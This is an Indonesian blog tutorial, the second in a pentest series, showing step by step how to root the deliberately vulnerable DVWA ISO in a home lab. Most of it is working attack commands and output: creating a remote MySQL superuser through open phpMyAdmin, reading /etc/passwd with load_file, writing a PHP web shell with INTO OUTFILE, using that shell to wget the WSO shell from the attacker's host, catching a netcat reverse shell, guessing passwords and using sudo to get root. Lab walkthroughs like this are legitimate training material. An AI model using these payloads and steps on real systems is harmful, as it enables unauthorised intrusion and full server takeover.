[Pentest Series] Hacking DVWA ISO sampai root access (Way-2)
Disini kamu akan melakukan real penetration testing terhadap sistem yang berjalan. Kamu akan mempelajari bagaimana caranya mendapatkan akses tertinggi (root/administrator) pada suatu server.
Ini merupakan lanjutan dari artikel sebelumnya https://medium.com/sadulur/pentest-series-hacking-dvwa-iso-sampai-root-access-way-1-8ee9a06067d6
Step awal seperti download & menjalankan ISO & scan port silahkan lihat pada artikel sebelumnya.
Disini saya akan membuat asumsi sendiri:
- Sysadmin sudah mengupgrade kernelnya ke 4.9. Sehingga tidak memungkinkan untuk exploitasi kernel
- DVWA sudah dinonaktifkan sehingga kita tidak bisa masuk ke dalam dvwa
[1] Lakukan scanning direktori web
Lakukan dirb atau dirsearch seperti yang saya lakukan dibawah (beberapa saya cut biar ga terlalu panjang):
kucing@kucing-desktop-nuc:~$ dirb http://192.168.56.101/ bruteforce/common_web.txt---- Scanning URL: http://192.168.56.101/ ----
+ http://192.168.56.101/login.php (CODE:200|SIZE:1224)
+ http://192.168.56.101/favicon.ico (CODE:200|SIZE:1406)
+ http://192.168.56.101/index.php (CODE:302|SIZE:0)
+ http://192.168.56.101/php.ini (CODE:200|SIZE:148)
+ http://192.168.56.101/phpinfo.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.56.101/phpmyadmin/
[2] Masuk ke phpmyadmin
Coba masuk /phpmyadmin.
Ternyata bisa masuk tanpa login persis seperti gambar diatas. Kok bisa? Mari kita lihat config.php dari phpmyadmin
[3] Remote User Query
Karena port 3306 terbuka, artinya dia listen untuk semua interface. Namun tentu kamu juga harus nambah user yang berperan sebagai administrator dan bisa diremote dari luar. Buka tab “SQL” dan jalankan query
CREATE USER 'hack'@'%' IDENTIFIED BY 'hack';
GRANT ALL PRIVILEGES ON *.* TO 'hack'@'%' WITH GRANT OPTION;
Setelah query dijalankan, coba remote access dengan cara
mysql -h 192.168.56.101 -u hack -p
Enter password: <hack>
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 86
Server version: 5.1.41 Source distributionCopyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql>
Oke selamat kamu sudah masuk ke MySQL console. Saatnya melakukan eksploitasi
[4] Upload PHP Shell via MySQL
Ini adalah langkah-langkah yang bisa kamu ikuti untuk mendapatkan shell via akses SQL. Ini juga bisa digunakan untuk teknik SQL Injection
- Test buka file /etc/passwd
mysql> select load_file('/etc/passwd');
| root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
dvwa:x:1000:1000:dvwa,,,:/home/dvwa:/bin/bash
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
messagebus:x:103:110::/var/run/dbus:/bin/false
usbmux:x:104:46:usbmux daemon,,,:/home/usbmux:/bin/false
pulse:x:105:111:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:106:113:RealtimeKit,,,:/proc:/bin/false
|
2. Test buka file konfigurasi web server. Didapat sebuah web file direktori yang memuat informasi lokasi file tersebut
In file: /opt/lampp/etc/httpd.conf
334: ScriptAlias /cgi-bin/ "/opt/lampp/cgi-bin/"
In file: /opt/lampp/etc/extra/httpd-multilang-errordoc.conf
22: Alias /error/ "/opt/lampp/error/"
In file: /opt/lampp/etc/extra/httpd-autoindex.conf
20: Alias /icons/ "/opt/lampp/icons/"
In file: /opt/lampp/etc/extra/httpd-xampp.conf
10: Alias /phpmyadmin "/opt/lampp/phpmyadmin"
11: Alias /phpsqliteadmin "/opt/lampp/phpsqliteadmin"
In file: /opt/lampp/etc/httpd.conf
526: Alias /webdav /opt/lampp/htdocs/uploads
Mungkin kamu bertanya2 darimana saya dapat keterangan seperti ini. Silahkan dicari sendiri yah. Sengaja tidak saya tulis :p
3. Test buka file konfigurasi httpd di /opt/lampp/etc/httpd.conf
mysql> select load_file('/opt/lampp/etc/httpd.conf');
....
DocumentRoot "/opt/lampp/htdocs"
....
Ketahuan deh direktori rootnya di /opt/lampp. Berarti direktori dvwa itu di /opt/lampp/htdocs/dvwa. Namun informasi lainnya mengatakan bahwa ada direktori web lain yaitu /opt/lampp/phpmyadmin untuk direktori /phpmyadmin
4. Mencari tempat upload shell
Ini adalah step PALING SUSAH yang harus kamu jalanin. Kamu harus mencari direktori yang bisa kamu tulis. Ga cuma itu, direktori itu harus bisa dibaca dan diakses dari web server. Disinilah “tebak-tebakan” mode dijalankan.
Sekarang saya coba mau menulis sebuah file test.html di direktori /opt/lampp/phpmyadmin
mysql> select "test" into outfile '/opt/lampp/phpmyadmin/test.html';
ERROR 1 (HY000): Can't create/write to file '/opt/lampp/phpmyadmin/test.html' (Errcode: 13)
Oops, ternyata error. Yaudah dengan mencoba seluruh kemungkinan direktori, termasuk output direktori dari dirb, akhirnya saya nemu di /opt/lampp/htdocs/hackable/uploads
mysql> select "test" into outfile '/opt/lampp/phpmyadmin/test.html';
ERROR 1 (HY000): Can't create/write to file '/opt/lampp/phpmyadmin/test.html' (Errcode: 13)
mysql> select "test" into outfile '/opt/lampp/htdocs/hackable/uploads/test.html';
Query OK, 1 row affected (0,00 sec)kucing@kucing-desktop-nuc:~$ curl http://192.168.56.101/hackable/uploads/test.html
test
Kok namanya ngehack itu malah maenan tebak-tebakan sih gan?
Itulah yang namanya ENUMERATION. Kamu harus bisa mengenumerate SELURUH KEMUNGKINAN yang ada dan berharap kamu mendapatkan step selanjutnya dari salah satu aksi yang kamu kerjakan.
Oke saatnya upload shell ke direktori yang dimaksud lewat mysql shell
mysql> select "<?php echo shell_exec($_GET['cmd']);?>" into outfile '/opt/lampp/htdocs/hackable/uploads/bd.php';
Query OK, 1 row affected (0,00 sec)
Lalu coba akses dengan cara seperti ini
kucing@kucing-desktop-nuc:~$ curl "http://192.168.56.101/hackable/uploads/bd.php?cmd=id%20;%20pwd"
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
/opt/lampp/htdocs/hackable/uploads
Yap, shell_exec kamu sudah bekerja. Sekarang gimana caranya upload shell wso atau shell lainnya agar memudahkan kamu bekerja. Disini saya menggunakan python SimpleHTTPServer pada host yang memuat file wso2.5.1.php
kucing@kucing-desktop-nuc:~/Downloads$ python -m SimpleHTTPServer &
Serving HTTP on 0.0.0.0 port 8000 ...kucing@kucing-desktop-nuc:~$ curl "http://192.168.56.101/hackable/uploads/bd.php?cmd=wget%20http://192.168.56.1:8000/wso2.5.1.php"
kucing@kucing-desktop-nuc:~$ curl "http://192.168.56.101/hackable/uploads/bd.php?cmd=ls"
bd.php
dvwa_email.png
test.html
wso2.5.1.php
Susah juga ya cuma mau upload shell doang? Ya begitulah namanya juga hacking hahaha :D. Try Harder will be always true hacker motto
[5] Membangkitkan shell dan analisis dengan linuxprivchecker
Saya tidak akan mau mengulang caranya. Kalau kamu lupa, silahkan baca artikel sebelumnya yah!
Outputnya wajib seperti ini ya
kucing@kucing-desktop-nuc:~/Downloads$ nc -lvp 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from [192.168.56.101] port 31337 [tcp/*] accepted (family 2, sport 53382)
/bin/sh: can't access tty; job control turned off
$ python -c "import pty; pty.spawn('/bin/bash');"
python: /opt/lampp/lib/libz.so.1: no version information available (required by python)
python: /opt/lampp/lib/libcrypto.so.0.9.8: no version information available (required by python)
python: /opt/lampp/lib/libssl.so.0.9.8: no version information available (required by python)
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ export TERM=xterm
export TERM=xterm
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ id
id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ python linuxprivchecker.py > hasil.txt
[6] Analisis dari output linuxprivchecker
Oke, mari kita bedah satu-per-satu per section. Tolong diperhatikan secara seksama.
[6.1] Kernel
[+] Kernel
Linux version 2.6.32-24-generic (buildd@vernadsky) (gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5) ) #41-Ubuntu SMP Thu Aug 19 01:12:52 UTC 2010
Oke, kita sudah berasumsi diatas bahwa kernel dvwa sudah diupgrade ke versi 4.9. Sehingga saya tidak akan menggunakan cara yang sama dengan artikel saya sebelumnya.
[6.2] Socket Process
[+] Netstat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN -
tcp 0 0 192.168.56.101:53382 192.168.56.1:31337 ESTABLISHED 2506/perl
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Ga ada service yang menarik disini.
[TUGAS] Silahkan kamu identifikasi seluruh port yang berjalan di netstat tersebut
[6.3] Scheduled Cron Jobs
[+] Scheduled cron jobs
-rw-r--r-- 1 root root 724 Apr 15 2010 /etc/crontab
/etc/cron.d:
total 1
drwxr-xr-x 2 root root 35 Aug 24 2010 .
drwxr-xr-x 109 root root 260 Jan 13 08:31 ..
-rw-r--r-- 1 root root 102 Apr 15 2010 .placeholder.....
Cek cronjob file, berharap ada yang world writable namun tidak ada. Kita kembali akan kesini nanti, siapa tau ada file world writable yang dipanggil oleh cron. Kalau bingung apa itu cronjob. Silahkan tanya om google :D
[6.4] Seluruh user yang punya bash
Itu biasanya adalah shell legitimate user. Gunakan perintah berikut
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
dvwa:x:1000:1000:dvwa,,,:/home/dvwa:/bin/bash
Cobain deh yuk cari passwordnya. Mungkin di database atau config aplikasi. Sekarang mari kita sisir database
Oke, saatnya membuka hashkiller dan kita cari tahu password masing-masing user ini
Hmm, bruteforce 5 password di 2 user (root & dvwa) seharusnya sih tidak menghabiskan energi. Mari yuk kita mencoba
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ su - root
su - root
Password: passwordsu: Authentication failure
nobody@dvwa:/opt/lampp/htdocs/hackable/uploads$ su - dvwa
su - dvwa
Password: passworddvwa@dvwa:~$ id
id
uid=1000(dvwa) gid=1000(dvwa) groups=4(adm),20(dialout),24(cdrom),46(plugdev),107(lpadmin),108(sambashare),109(admin),1000(dvwa)
dvwa@dvwa:~$
Oops? password password gagal untuk root dan berhasil untuk dvwa? Hmm karena ini ubuntu dan kita sudah masuk shell user. Tidak ada salahnya kita mencoba privilege sudo milik user dvwa.
dvwa@dvwa:~$ sudo -l
sudo -l
[sudo] password for dvwa: dvwaMatching Defaults entries for dvwa on this host:
env_resetUser dvwa may run the following commands on this host:
(ALL) ALL
AW, alhamdulillah ane ga jadi begadang ngerjain VM beginian hahaha. Artinya adalah user dvwa boleh mengakses semua perintah dengan sudo. Ini artinya adalah kamu bisa panggil sudo su
dvwa@dvwa:~$ sudo su
sudo su
root@dvwa:/home/dvwa# id
id
uid=0(root) gid=0(root) groups=0(root)
root@dvwa:/home/dvwa#
[7] Conclusion
Harus gw akui bahwa untuk tutorial kali ini banyak sekali unsur “menebak”nya. Asal kamu tahu, saya sendiripun cukup lama loh mencari cara untuk mendapatkan root access disini tanpa lewat cara pertama (pada artikel sebelumnya).
Dan unsur terpenting yang wajib kamu pelajari disini adalah tidak selalu melulu namanya hacking itu adalah hal teknikal. Perlu kamu tahu bahwa di dunia pentest, segala cara pada dasarnya diperbolehkan asal tidak mengganggu sistem yang sedang kita serang. Bahkan juga boleh melakukan soceng (Social Engineering), tapi jangan terlalu berlebihan mengandalkan teknik ini.
Well, gw rasa ga akan ada Way-3 karena way-2 pun juga susahnya amit-amit haha. Tapi, gw bakal seneng banget kalo diantara kalian ada yang menemukan cara ketiga untuk mencapai root iso ini. Bakal gw post dan gw tulis creditnya bagi yang tau cara lain mencapai root selain 2 jalan yang gw tempuh
Well okay bye byee. Sampai jumpa pada artikel selanjutnya, tentu di VM yang baru, yang lebih menantang dan belum ada orang/blog yang sudah membahasnya.
Semoga bermanfaat! :)
Habibie Faried
habibiefaried@gmail.com
@habibiefaried
CISSP & OSC* Wanna Be